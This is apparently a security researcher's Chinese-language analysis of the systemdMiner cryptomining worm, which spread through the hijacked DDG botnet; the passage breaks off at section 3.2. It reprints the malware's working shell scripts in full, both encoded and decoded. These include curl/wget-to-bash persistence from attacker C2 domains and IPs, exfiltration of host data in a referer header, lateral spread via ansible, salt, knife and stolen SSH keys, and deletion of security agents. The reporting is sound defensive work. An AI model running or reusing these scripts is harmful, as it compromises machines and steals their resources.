systemdMiner 借鸡下蛋,通过 DDG 传播自身

威胁快讯:DDG 近期更新(v3021/v3022版本)
April 11, 2019
AA19-122A: New Exploits for Unsecure SAP Systems
May 2, 2019

systemdMiner 借鸡下蛋,通过 DDG 传播自身

1. 概述

在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中,我们提到了 DDG 最近在用的主 C2:

119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China

2019.4.19 日凌晨,我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh,在 i.sh 脚本的最后新增了一段陌生的 Shell 代码,这段 Shell 代码会在失陷主机下载一套全新的恶意程序,之后就会脱离 DDG 的基础设施而独立运行、传播,在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后,DDG 的上述主 C2 随即下线停止服务。

鉴于这一套恶意程序的多个恶意组件均以 systemd-<XXX> 的形式命名,我们把它命名为 systemdMinersystemdMiner 的恶意程序具有蠕虫特性,会利用 3 种手段传播自身,在入侵失陷主机后,最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。

在 DDG 上述主 C2 下线期间,DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制,DDG 整个僵尸网络还依然存活,每天活跃的 P2P Nodes 有 3000+。

直到 4.25 凌晨,DDG 才上线了 2 个新的 C2,并把版本号升级到 v4000,恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令,篡改 hosts 文件,屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2:

109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16    AS62217|VooServers_Ltd|United States|New York

systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同:

  • DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成,而 systemdMiner 的基础设施是架设在暗网并通过类似 tor2web 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP;
  • DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合,而 systemdMiner 的网络结构则是传统的 C/S 结构;
  • DDG 的主样本由 Go 语言编写,从诞生至今始终如此,配合一个恶意 Shell 脚本 i.sh 来运行,而 systemdMiner 的主样本都是 C 语言编写,除此之外,二者的主样本在主要功能、实现方式等代码细节方面也完全不同;
  • DDG 目前的二进制样本都加了标准 UPX 壳,而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳,没有很直观的 UPX 特征;
  • DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播,systemdMiner 则有 3 中完全不同的传播手段;
  • DDG 的矿机程序由 XMRig 直接编译而来,没有加壳,XMR Wallet 就硬编码在矿机程序中,sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动,加了变形 UPX 壳,还没有暴露 XMR Wallet。

基于以上原因,我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2,并通过 DDG 的基础设施下发了自己的一套恶意程序,我们把这种黑吃黑的行为形容为借鸡下蛋

systemdMiner 的 3 种传播手段:

  1. 利用 YARN 未授权访问漏洞入侵主机;
  2. 利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播;
  3. 利用失陷主机本地保存的 SSH 密钥传播自身。

systemdMiner 这一套恶意程序,涉及的多个二进制程序和 Shell 脚本,下文会一一剖析。各程序简介:

  • systemd-login-ddg: 主样本,设置定时任务,横向传播以及 Download 其他样本并执行;
  • ddgs.i686: 同上;
  • ddgs.x86_64: 同上;
  • systemd-login: 同上;
  • systemd-login-h: 同上;
  • cron.sh: 定时任务执行脚本,定期下载主样本并执行;
  • systemd.sh: 更新主样本和矿机程序;
  • systemd-resolve: 集成 YARN 未授权访问漏洞来横向传播;
  • systemd-analyze: 矿机程序。

systemdMiner 真正的 C2 服务器架设在暗网中,并通过一组类似 tor2web 的服务映射到公网,来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下:

dns_trend

2. DDG “下的蛋”——最后的配置数据和 Shell 脚本

DDG 最新的配置数据:

{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "n0.0.0.0 pastebin.comn0.0.0.0 thyrsi.comn0.0.0.0 tor2web.ion0.0.0.0 gitee.comn0.0.0.0 w.21-3n.xyzn0.0.0.0 w.3ei.xyzn0.0.0.0 aptgetgxqs3secda.onion.lyn0.0.0.0 aptgetgxqs3secda.onion.petn0.0.0.0 aptgetgxqs3secda.tor2web.fyin0.0.0.0 aptgetgxqs3secda.onion.in.netn0.0.0.0 rapid7cpfqnwxodo.tor2web.fyin0.0.0.0 rapid7cpfqnwxodo.onion.in.netn0.0.0.0 rapid7cpfqnwxodo.onion.lyn0.0.0.0 rapid7cpfqnwxodo.onion.petn" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}

最后下发的 i.sh 脚本:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then

    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce

ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9

echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash

其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个,它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串,解码后是另外一段独立的 Shell 脚本:

exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts

d() {
    x=/systemd-login-ddg
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi

这段 Shell 脚本,首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活,文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行:

aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg

除此之外, i.sh 脚本中,以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。

这样一来,就可以通过 DDG 的这一波更新,下发 3 个 systemdMiner 的恶意程序:

  1. systemd-login-ddg
  2. ddgs.i686
  3. ddgs.x86_64

3. systemdMiner 系列样本分析

3.1 systemd-login-ddg

systemd-login-ddgsystemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序,另外两个同时下发的 ddgs.i686ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行,后续还会涉及两个恶意程序,都是 systemd-login-ddg 的变种,区别在于部分 C2 Domain 设定不同,这些同类恶意程序有:

  • systemd-login
  • systemd-login-h

systemdMiner 相关的所有二进制样本,都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳,壳代码改动很多,变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) :

packer

脱壳后,恶意程序在刚开始就会检查 LD_PRELOADPTRACE_TRACEME ,用来对抗针对性地调试和沙箱:

然后,systemd-login-ddg 会删除自身文件,创建守护进程并把进程号写入 /tmp/.X1M-unix 文件,进程名为 -bash

接下来,systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中:

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

上述脚本中的编码字串解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash

如果当前用户是 root ,样本还会探测 /lib/systemd/ 目录,并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login,用于开机启动。

然后,执行命令 mv -f /tmp/systemd ~/.systemd-loginsystemd 文件移动到用户主目录并隐藏。

上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ,会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本,原始内容如下:

"${@%4}"$'145v'${*%%5}al "$(rK=(&  ${*,,} l H |${*//t5/&W} h n"${@//ar}" s +${*##(%} !${!*} M${*^^} . c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q -${*#uo} (${*,} =${*##+C} ; O${*%JK} U"${@~}" 2$* <${*%%3} y } :${@//_o/F} u e"${@}" r / L { o i k S"${@//Ao/W}" m f${@/s`/]} v${@%0$} A $'xa'${*/Xr/>} $${*/&T} b t"${@^^}" P x ) X p${*/u} d >)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-} 54 32 43 34${*/^{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j!} 6 30 34${*%Oe} 7 47 38 6${*/P}/)s} 30${@%%DG} 34"${@%%J7}" [email protected] 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 [email protected] 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/`"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y}} 7 28 7 48${*##"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} [email protected] 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${[email protected]} 53 34 11"${@//?(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${[email protected]} 1${@~~} 1 1${*^^} 1 54 1 [email protected] 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${[email protected]} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/}#} 6${*//}^/F} 38 37 6${[email protected]} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/}}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${[email protected]} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/} 53 48 [email protected] 32${@#} 48 18${@/9} 50 19 7${*#`c} 15 7 32 12${*^} 54${@%]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'x6e'tf %s "${rK[$JS]}""${@/#}";done;)"

解混淆后的真面目:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi

最后,systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。

3.1.1 Shell 脚本一:上报 C2,利用自动化运维工具传播

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

xssh() {
    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no [email protected]$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}

s1() {
    x=/slave
    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}

s2() {
    x=/systemd-resolve
    y=/tmp/systemd-resolve
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

s3() {
    if [ -x $(command -v ansible) ]; then
        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v salt) ]; then
        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v knife) ]; then
        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
        hosts=$(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
        for h in $hosts;do xssh root $h; xssh $USER $h & done
    fi
}

s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3

该脚本共有 3 个关键函数,作用分别是:

  1. s1() : 向 rapid7cpfqnwxodo.tor2web.fyi/slave 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息,拼接接成一个字符串,经过 Base64 编码后,设置为 HTTP 请求的 referer vaule,以 HTTP GET 请求的方式发送到 C2;
  2. s2(): 从 C2 下载 systemd-resolve 文件并执行,system-resolve 集成了 YARN 未授权访问漏洞的 Exp,并以此传播;
  3. s3(): 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码,解码后如下:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 4
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi

3.1.2 Shell 脚本二:设定 cron 任务

原始脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    if [ -x $(command -v crontab) ]; then
        if [ $(crontab -l |grep REDIS00) ]; then
            crontab -r
        fi
        if ((!EUID)); then
            if [ ! -f "/etc/cron.d/systemd" ]; then
                echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
            fi
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        else
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        fi
    fi
}

c

该脚本的主要功能,是新建 cron 配置文件 /etc/cron.d/systemd,然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wgetcurl 命令,以此清除竞争对手的计划任务。

3.1.3 Shell 脚本三:杀掉竞争对手

原始脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"

find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts

该脚本的功能就是清除各种竞争对手。

3.1.4 Shell 脚本四:下载矿机并执行

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi

此脚本会从 rapid7cpfqnwxodo.tor2web.fyirapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。

3.1.5 Shell 脚本五:更新样本和恶意Shell脚本

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

u() {
    x=/systemd.sh
    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}


if [ -f /tmp/.systemd-update ]; then
    kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi

u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi

systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ,据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。

接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同,不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io

3.2. systemd-resolve

